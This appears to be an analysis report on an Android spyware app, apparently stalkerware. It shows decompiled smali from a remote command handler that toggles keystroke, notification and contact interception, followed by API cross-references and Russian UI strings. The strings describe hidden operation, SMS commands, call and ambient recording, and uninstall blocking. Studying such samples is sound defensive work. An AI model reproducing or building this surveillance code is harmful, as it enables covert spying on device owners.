                    4642invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4643move-result-object v0
                    4645invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4647const-string v0, "ok"
                    4648iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4649goto/16 :goto_4e
                    4650cond_179e:
                    4651iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4653const-string v2, "key_intercept_onoff"
                    4655invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4656move-result v0
                    4657if-eqz v0, :cond_17ca
                    4659iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4661invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4662move-result-object v0
                    4664const-string v1, "key_intercept_onoff"
                    4666const-string v2, "true"
                    4668iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4670invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4671move-result v2
                    4673invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4674move-result-object v0
                    4676invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4678iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4680invoke-static {v0}, Lnet/vkurhandler/KeysInterceptor;->a(Landroid/content/Context;)V
                    4682const-string v0, "ok"
                    4683iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4684goto/16 :goto_4e
                    4685cond_17ca:
                    4686iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4688const-string v2, "notification_intercept_onoff"
                    4690invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4691move-result v0
                    4692if-eqz v0, :cond_17f6
                    4694iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4696invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4697move-result-object v0
                    4699const-string v1, "key_intercept_onoff"
                    4701const-string v2, "true"
                    4703iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4705invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4706move-result v2
                    4708invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4709move-result-object v0
                    4711invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4713iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4715invoke-static {v0}, Lnet/vkurhandler/KeysInterceptor;->a(Landroid/content/Context;)V
                    4717const-string v0, "ok"
                    4718iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4719goto/16 :goto_4e
                    4720cond_17f6:
                    4721iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4723const-string v2, "intercept_added_contact"
                    4725invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4726move-result v0
                    4727if-eqz v0, :cond_181d
                    4729iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4731invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4732move-result-object v0
                    4734const-string v1, "intercept_added_contact"
                    4736const-string v2, "true"
                    4738iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4740invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4741move-result v2
                    4743invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    4744move-result-object v0
                    4746invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4748const-string v0, "ok"
                    4749iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4750goto/16 :goto_4e
                    4751cond_181d:
                    4752iget-object v0, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    4754const-string v2, "key_intercept_min_pressed_keys"
                    4756invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    4757move-result v0
                    4758if-eqz v0, :cond_184f
                    4760iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    4762invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    4763move-result v0
                    4764if-lt v0, v1, :cond_1833
                    4765const/16 v1, 0x3e8
                    4766if-le v0, v1, :cond_1835
                    4767cond_1833: const/16 v0, 0xa
                    4768cond_1835:
                    4769iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    4771invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    4772move-result-object v1
                    4774const-string v2, "key_intercept_min_pressed_keys"
                    4776invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    4777move-result-object v0
                    4779invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    4781iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    4783invoke-static {v0}, Lnet/vkurhandler/KeysInterceptor;->a(Landroid/content/Context;)V
                    4785const-string v0, "ok"
                    4786iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4787goto/16 :goto_4e
                    4788cond_184f:
                    4789const-string v0, "unknown_command"
                    4790iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    4791try_end_1853: goto/16 :goto_4e
                    4792cond_1855: move-object v10, v0
                    4793move-object v0, v1
                    4794move-object v1, v10
                    4795goto/16 :goto_2f3
                    4796cond_185a: move-object v10, v0
                    4797move-object v0, v1
                    4798move-object v1, v10
                    4799goto/16 :goto_2b4
                    Cross References
                    APIs
                    • android.util.SparseArray.<init>
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    • android.util.SparseArray.put
                    Strings
                    • \u0412\u043e\u0439\u0442\u0438 \u0432
                    • \u041b\u043e\u0433\u0438\u043d:
                    • \u041f\u0430\u0440\u043e\u043b\u044c:
                    • \u0417\u0430\u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c?
                    • \u041d\u0435 \u043c\u0435\u043d\u0435\u0435 4 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u042d\u0442\u043e\u0442 \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e
                    • \u0414\u0430\u043d\u043d\u0430\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043e\u0447\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u043e\u0442 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439
                    • \u0415\u0449\u0435 \u0440\u0430\u0437 \u043f\u0430\u0440\u043e\u043b\u044c:
                    • \u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0438 \u044d\u0442\u043e\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043d\u0430 \u043c\u043e\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442
                    • \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0412\u044b \u0441\u043e\u0433\u043b\u0430\u0448\u0430\u0435\u0442\u0435\u0441\u044c \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438: <a href=
                    • >
                    • </a>
                    • \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442
                    • \u041d\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f
                    • \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u0430\u0448\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u043e\u043c \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0441\u043d\u043e\u0432\u0430
                    • \u0417\u0430\u043a\u0440\u044b\u0442\u044c
                    • \u041d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b
                    • \u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442
                    • \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c \u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u043e\u0439 \u0443\u0436\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d
                    • \u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e! \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0434 \u0441\u0432\u043e\u0438\u043c \u043b\u043e\u0433\u0438\u043d\u043e\u043c \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043a \u0412\u0430\u043c \u043d\u0430 \u043b\u043e\u0433\u0438\u043d \u0438 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f, \u043a\u0430\u043a:
                    • . \u0414\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u043c \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u0439\u0442\u043e\u043c \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c \u043f\u043e\u0434 \u0430\u043d\u0434\u0440\u043e\u0438\u0434,\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \"\u0421\u043a\u0430\u0447\u0430\u0442\u044c\"
                    • \u0412\u043e\u0439\u0442\u0438
                    • \u041d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u043b\u043e\u0433\u0438\u043d \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c
                    • \u0421\u0431\u0440\u043e\u0441 \u043f\u0430\u0440\u043e\u043b\u044f
                    • \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044f
                    • \u041d\u043e\u0432\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043f\u043e\u0447\u0442\u0443
                    • \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438
                    • \u041e\u0448\u0438\u0431\u043a\u0430
                    • \u0412\u0430\u0448\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435\u0441\u044c \u0432 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443
                    • \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f
                    • \u042f\u0437\u044b\u043a
                    • \u0420\u0443\u0441\u0441\u043a\u0438\u0439
                    • English
                    • \u0420\u0435\u0436\u0438\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430
                    • \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c
                    • \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c \u0438\u043b\u0438 \u0431\u0435\u0437 \u043d\u0435\u0433\u043e,\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u0430\u0439\u0442 \u0438\u043b\u0438 \u0441\u043c\u0441 \u043e\u0442\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c SD \u043a\u0430\u0440\u0442\u0443 \u0438\u043b\u0438 \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430 \u0434\u043e \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0445, \u0430 \u0442\u0430\u043a \u0436\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\" \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430
                    • \u041f\u043e\u043c\u043e\u0449\u044c
                    • \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0435\u0440\u0435\u0437 GCM \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \"GCM Not registered\", \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0439\u0442\u0435\u0441\u044c \u0432 CGM
                    • \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f GCM
                    • \u0412\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c
                    • \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430
                    • \u0414\u043b\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0439 \u043b\u043e\u0433\u0438\u043d\\\u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u043d\u0430\u0436\u043c\u0438\u0442\u0435 \"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c\"
                    • \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c
                    • \u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0438 \u044f \u0445\u043e\u0447\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u043a \u043c\u043e\u0435\u043c\u0443 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443
                    • \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0435\u0440\u0435\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0439 \u043f\u043b\u0430\u043d
                    • \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e. \u0411\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432:
                    • \u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e
                    • \u0422\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0435 \u043d\u043e\u043c\u0435\u0440\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u044c SMS-\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM
                    • \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 SIM \u043a\u0430\u0440\u0442\u044b
                    • \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 SIM
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043d\u0430 \u043f\u043e\u0447\u0442\u0443
                    • \u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439
                    • \u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u0430\u0436\u0434\u044b\u0435:
                    • \u041f\u0430\u0440\u043e\u043b\u0438
                    • \u041f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0431\u043e\u0440 \u043d\u043e\u043c\u0435\u0440\u0430 (\u041f\u0410\u0420\u041e\u041b\u042c \u0414\u041b\u042f \u0421\u041c\u0421 \u041a\u041e\u041c\u0410\u041d\u0414), \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u043e, \u043c\u0438\u043d\u0438\u043c\u0443\u043c 4 \u0441\u0438\u043c\u0432\u043e\u043b\u0430
                    • \u0410\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0445 \u0437\u0432\u043e\u043d\u043a\u043e\u0432
                    • \u0420\u0435\u0436\u0438\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u0438
                    • \u0410\u0443\u0434\u0438\u043e\u0437\u0430\u043f\u0438\u0441\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043c\u0435\u0434\u0438\u0439\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 (\u0437\u0432\u043e\u043d\u043a\u0438/\u0441\u043d\u0438\u043c\u043a\u0438 \u044d\u043a\u0440\u0430\u043d\u0430/\u0444\u043e\u0442\u043e) \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e WiFi
                    • \u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432
                    • \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0438 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430\u0445 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430
                    • \u0414\u0435\u043b\u0430\u0442\u044c \u0444\u043e\u0442\u043e
                    • \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043e\u043a
